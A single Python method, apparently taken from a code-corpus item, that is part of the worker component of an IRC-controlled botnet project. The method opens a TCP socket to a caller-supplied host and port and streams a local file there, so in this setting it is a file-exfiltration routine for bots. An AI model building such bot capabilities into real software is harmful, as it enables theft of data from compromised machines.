def send_file(self, filename, destination):
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            host, port = destination.split(':')
            sock.connect((host, int(port)))
        except:
            return 'failed to connect to %s' % host
        
        try:
            fh = open(filename, 'r')
        except IOError:
            return 'failed to open %s' % filename
        
        while 1:
            data = fh.read(4096)
            
            if not data:
                break
            
            sock.send(data)
        
        fh.close()
        sock.close()
        return 'sent successfully'
dataset/ETHPy150Open coleifer/irc/botnet/worker.py/WorkerBot.send_file/original